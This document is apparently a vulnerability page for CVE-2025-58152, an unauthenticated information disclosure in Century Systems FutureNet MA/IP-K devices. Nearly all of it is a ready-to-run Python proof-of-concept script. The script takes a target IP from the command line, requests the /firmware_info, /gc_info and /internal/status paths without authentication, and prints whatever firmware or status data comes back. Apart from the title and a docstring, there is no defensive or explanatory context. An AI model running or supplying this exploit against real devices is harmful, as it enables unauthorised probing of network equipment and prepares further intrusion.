CVE-2025-58152: Century Systems FutureNet MA/IP-K系列未授权信息泄露漏洞

import requests import sys def exploit_cve_2025_58152(target_ip, target_port=80): """ CVE-2025-58152 PoC - FutureNet MA/IP-K Information Disclosure This exploits an unauthenticated information disclosure vulnerability in Century Systems FutureNet devices. """ # Target URL for firmware version disclosure firmware_url = f"http://{target_ip}:{target_port}/firmware_info" # Target URL for garbage collection information gc_url = f"http://{target_ip}:{target_port}/gc_info" # Target URL for internal page internal_url = f"http://{target_ip}:{target_port}/internal/status" print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Exploiting CVE-2025-58152...") headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-58152-PoC)', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Connection': 'close' } urls_to_check = [firmware_url, gc_url, internal_url] for url in urls_to_check: try: print(f"\n[*] Requesting: {url}") response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Success! Retrieved information from {url}") print(f"[+] Response Length: {len(response.text)} bytes") print(f"[+] Response Preview:\n{response.text[:500]}") # Check for firmware version in response if 'firmware' in response.text.lower() or 'version' in response.text.lower(): print("[+] Firmware/version information detected!") elif response.status_code == 401: print(f"[-] Authentication required for {url}") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {url}: {str(e)}") print("\n[*] PoC execution completed.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_58152(target, port)